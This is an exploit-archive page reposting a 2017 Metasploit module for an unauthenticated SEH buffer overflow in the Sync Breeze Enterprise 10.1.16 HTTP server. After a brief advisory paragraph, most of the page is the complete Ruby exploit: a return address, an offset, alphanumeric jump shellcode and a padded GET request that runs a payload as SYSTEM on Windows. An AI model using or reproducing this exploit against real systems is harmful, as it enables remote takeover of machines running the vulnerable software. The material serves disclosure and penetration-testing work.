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SyncBreeze 10.1.16 SEH GET Overflow

SyncBreeze 10.1.16 SEH GET Overflow
Posted Oct 13, 2017
Authored by wetw0rk | Site metasploit.com

There exists an unauthenticated SEH based vulnerability in the HTTP server of Sync Breeze Enterprise version 10.1.16, when sending a GET request with an excessive length it is possible for a malicious user to overwrite the SEH record and execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account. The SEH record is overwritten with a "POP,POP,RET" pointer from the application library libspp.dll. This exploit has been successfully tested on Windows XP, 7 and 10 (x86->x64). It should work against all versions of Windows and service packs.

tags | exploit, web, x86
systems | windows
SHA-256 | cd660cfe17078fd46a1bde16db1b2e75840ec80024327923f3e6be7f8c826dfd

SyncBreeze 10.1.16 SEH GET Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'SyncBreeze v10.1.16 SEH GET Overflow',
'Description' => %q{
There exists an unauthenticated SEH based vulnerability in the HTTP
server of Sync Breeze Enterprise v10.1.16, when sending a GET request
with an excessive length it is possible for a malicious user to overwrite the
SEH record and execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account.

The SEH record is overwritten with a "POP,POP,RET" pointer from the application
library libspp.dll. This exploit has been successfully tested on Windows XP, 7 and
10 (x86->x64). It should work against all versions of Windows and service packs.
},

'Author' => 'wetw0rk',
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 800,
'EncoderType' => "alpha_upper",
'BadChars' => "\x00\x0a\x0d"
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP/7/10 (SyncBreez Enterprise v10.1.16)',
{ 'Ret' => 0x1001C65C,
'Offset' => 2495
}]
],
'DisclosureDate' => 'October 11 2017',
'DefaultTarget' => 0))

register_options([Opt::RPORT(80)])

end

def exploit
connect

print_status("Trying #{target.name}")

# Make the JMP to the payload, else JMP into the A's acting as NOP's
# Using AlphaNum technique learned from Mut's in OSCE (aka a legend)
jumpcode = "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode << "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode << "\x2d\x37\x37\x37\x37" # sub eax,0x37373737
jumpcode << "\x2d\x74\x74\x74\x74" # sub eax,0x74747474
jumpcode << "\x2d\x55\x54\x55\x70" # sub eax,0x70555455
jumpcode << "\x50" # push eax
jumpcode << "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode << "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode << "\x2d\x2d\x76\x7a\x63" # sub eax,0x637a762d
jumpcode << "\x2d\x2d\x76\x7a\x30" # sub eax,0x307a762d
jumpcode << "\x2d\x25\x50\x7a\x30" # sub eax,0x307a5025
jumpcode << "\x50" # push eax
jumpcode << "\xff\xe4" # jmp esp
# greetz to kluo, and abatchy17
sploit = payload.encoded
sploit << 'A' * (target['Offset'] - payload.encoded.length)
sploit << "\x74\x06\x75\x06"
sploit << [target.ret].pack('V')
sploit << jumpcode
sploit << 'A' * (9067 - (target['Offset'] + payload.encoded.length + 8 + jumpcode.length))

send_request_cgi(
'uri' => '/' + sploit,
'method' => 'GET',
'host' => '4.2.2.2',
'connection' => 'keep-alive'
)

handler
disconnect
end

end
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